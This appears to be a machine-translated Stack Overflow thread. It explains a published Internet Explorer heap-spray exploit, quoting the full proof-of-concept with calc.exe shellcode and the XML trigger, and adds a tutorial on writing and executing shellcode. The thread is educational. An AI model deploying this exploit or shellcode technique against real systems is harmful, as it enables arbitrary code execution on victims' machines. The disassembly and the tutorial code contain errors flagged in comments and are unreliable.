Як це експлуатування використовує кущ обприскування milw0rm?


145

У мене зазвичай немає труднощів з читанням коду JavaScript, але для цього я не можу розібратися у логіці. Код з експлуату, який був опублікований 4 дні тому. Ви можете знайти його за milw0rm .

Ось код:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Ось що я вважаю, що це робить, і я хотів би, щоб ви допомогли мені в частині, яку я неправильно розумію.

Змінна shellcodeмістить код для відкриття calc.exe. Я не розумію, як вони знайшли ту дивну струну. Будь-яка ідея?

Друга річ - змінна spray. Я не розумію цього дивного циклу.

Третє - змінна, memoryяка ніде не використовується. Для чого вони створюють його?

Останнє: що робить тег XML на сторінці?


На даний момент у мене є хороші відповіді, але в основному дуже загальні. Мені хотілося б більше пояснень значення коду. Прикладом є unescape("%u0a0a%u0a0a");. Що це означає? Те саме для циклу: чому розробник написав length < 0xd0000:? Я хотів би глибшого розуміння не лише теорії цього кодексу.


Ви повинні заглянути в Heap Spraying: en.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe

Як ми успішно запускаємо цей подвиг? Чи потрібно це запускати в IE?
bad_keypoints

Відповіді:


320

Оболонка містить кілька інструкцій по збірці x86, які дозволять реально використовувати. sprayстворює довгу послідовність інструкцій, які будуть введені memory. Оскільки ми зазвичай не можемо з’ясувати точне розташування нашого коду оболонки в пам’яті, ми ставимо nopперед ним безліч інструкцій і переходимо кудись там. memoryМасив буде містити фактичний код x86 разом з механізмом стрибає. Ми подамо створений XML в бібліотеку, в якій є помилка. Під час його розбору помилка призведе до присвоєння реєстру вказівників інструкцій десь у нашому подвигу, що призведе до довільного виконання коду.

Щоб зрозуміти глибше, вам слід зрозуміти, що в коді x86. unscapeбуде використовуватися для розміщення послідовності байтів, представлених рядка у sprayзмінній. Це дійсний код x86, який заповнює великий шматок купи і переходить до початку shellcode. Причиною умови закінчення є обмеження довжини рядків сценарію. Ви не можете мати рядки, більші за певну довжину.

У складі x86, 0a0aпредставляє or cl, [edx]. Це фактично рівнозначно nopінструкції для цілей нашого подвигу. Куди б ми не переходили spray, ми перейдемо до наступної інструкції, поки не дійдемо до коду оболонки, коду, який ми насправді хочемо виконати.

Якщо ви подивитеся на XML, то побачите, чи 0x0a0aє він теж. Точне опис того, що відбувається, вимагає конкретних знань про експлуатацію (ви повинні знати, де ця помилка та як її експлуатують, чого я не знаю). Однак, здається, ми змушуємо Internet Explorer запускати помилковий код, встановлюючи innerHtmlцю шкідливу рядок XML. Internet Explorer намагається проаналізувати його, і баггі-код якось керує місцем пам'яті, де існує масив (оскільки це великий шматок, ймовірність стрибнути туди висока). Коли ми перескочимо туди, процесор буде продовжувати виконувати or cl, [edx]вказівки до тих пір, поки не досягне початку shellcode, який зберігається в пам'яті.

Я розібрав оболонку:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

Розуміння цього коду оболонки вимагає знань про збірку x86 та проблеми в самій бібліотеці MS (щоб знати, який стан системи, коли ми доходимо сюди), а не JavaScript! Цей код у свою чергу буде виконуватися calc.exe.


13
Я ціную ваші зусилля від вас за це пояснення. +25 репутації та вся моя повага. Спасибі
Патрік Дежардінс

20
чудова відповідь, але добрий пане - раптом мені непогано з комп’ютером ;-)
ім'я користувача

50
Мене дивують люди, яким вдається придумати подібні подвиги. Якщо вони достатньо розумні, щоб зламати чийсь банківський рахунок з цим, вони заслуговують усіх грошей, які вони можуть вкрасти;)
Мартін

8
Якби була святиня гарних відповідей на ТА, це було б у цьому.
Сан-Хасінто

6
Розбирання здається безглуздим і цілком випадковим. Це не може бути правильним. Я спробував поміняти байти, припускаючи, що символи в рядку зберігаються в малоінтенсивному, але це не допомогло.
Juho Östman

10

Це виглядає як експлуатація недавньої помилки Internet Explorer, для якої Microsoft випустила патч для надзвичайних ситуацій. Він використовує недолік у функції прив'язки даних обробника XML Microsoft, що призводить до неправильного розміщення пам'яті купи.

Shellcode - це машинний код, який запускатиметься, коли виникає помилка. Спрей та пам’ять - це лише деякий простір, який виділяється на купі, щоб допомогти стані експлуатації.


Як ви думаєте, якісь подібні речі можуть трапитися з розширеннями Chrome?
bad_keypoints


2

Щоразу, коли я бачу пам'ять, на яку не звертаються в дискусії про експлуатування, моя перша думка полягає в тому, що експлуатування - це якесь переповнення буфера, і в цьому випадку пам'ять або викликає переповнення буфера, або доступ до нього, як тільки буфер переповнює .


У цьому випадку це не була пошкодження купи, перевищення буфера на основі купи або перекриття буфера на основі стека: blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx
Грант Вагнер



0

Простий приклад оболонки

Вітаю, світ у зборах у синтаксисі & t x86 Я вважаю (Майстер у навчанні).

налаштуйте файл:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

компілювати так:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Тепер у вас є двійковий файл, який друкує привіт світ. для перетворення двійкового коду в тип оболонки в:objdump -D shellcode

ви отримаєте вихід:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Тепер, якщо ви подивитесь на 4-й рядок з текстом, ви побачите: 400078: eb 1a jmp 0x400094

частина, яка говорить, eb 1a- це шістнадцяткове зображення інструкції складання, jmp oneде "one" - адреса пам'яті вашого рядка.

щоб підготувати ваш код коду для виконання, відкрийте інший текстовий файл і зберігайте шістнадцяткові значення в масиві символів. Щоб правильно відформатувати код оболонки, ви вводите \xперед кожним шестигранним значенням.

відповідно до результату команди objdump наступний приклад коду оболонки буде виглядати наступним чином:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

У цьому прикладі використовується масив C для масиву. Тепер у вас є робочий shellcode, який буде писати на stdout "привіт світ"

ви можете протестувати код оболонки, помістивши його в уразливість, або ви можете написати наступну програму c, щоб перевірити його:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

Для компіляції типу програми в:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

запустіть з ./run Ви знаєте, є робочий приклад розробки простого коду оболонки, який був протестований у linux mint / debian.


1
Не використовуйте int 0x8032-розрядний ABI у 64-бітному коді. Він не зможе отримати рядки в стеці, оскільки ядро ​​дивиться лише на низькі 32 біти аргументів syscall. Що станеться, якщо ви використовуєте 32-розрядний int 0x80 Linux ABI у 64-бітному коді? . (У такому випадку ви створили б нескінченний цикл, тому sys_writeщо повернулися б -EFAULTі mov $1, %alзалишили б встановлені верхні біти, тож ви отримаєте -ENOSYSзамість sys_exit). Крім того, у 64-бітному коді ви можете просто jmpпереслати через рядок і використовувати RIP-родитель, leaщоб отримати адресу, а не call / pop.
Пітер Кордес

1
Це також стане невдалим для gcc, який створює виконувані файли PIE за замовчуванням, оскільки тоді навіть ваш масив знаків статичного зберігання опиниться за межами низьких 32 біт. (І BTW, якби це було, const char payload[]то це було б у текстовому сегменті (у розділі .rodata), і вам це не потрібно -z execstack.)
Пітер Кордес,

1
Крім того, movl 4, %raxмістить нульовий байт (і не збирається через невідповідність розміру операнду, і не вистачає а, $тому 4 є абсолютною адресою). Я думаю, ви опублікували ранню версію свого джерела. Мої попередні коментарі - це перегляд розбирання, куди ви додали sys_exitдзвінок.
Пітер Кордес
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.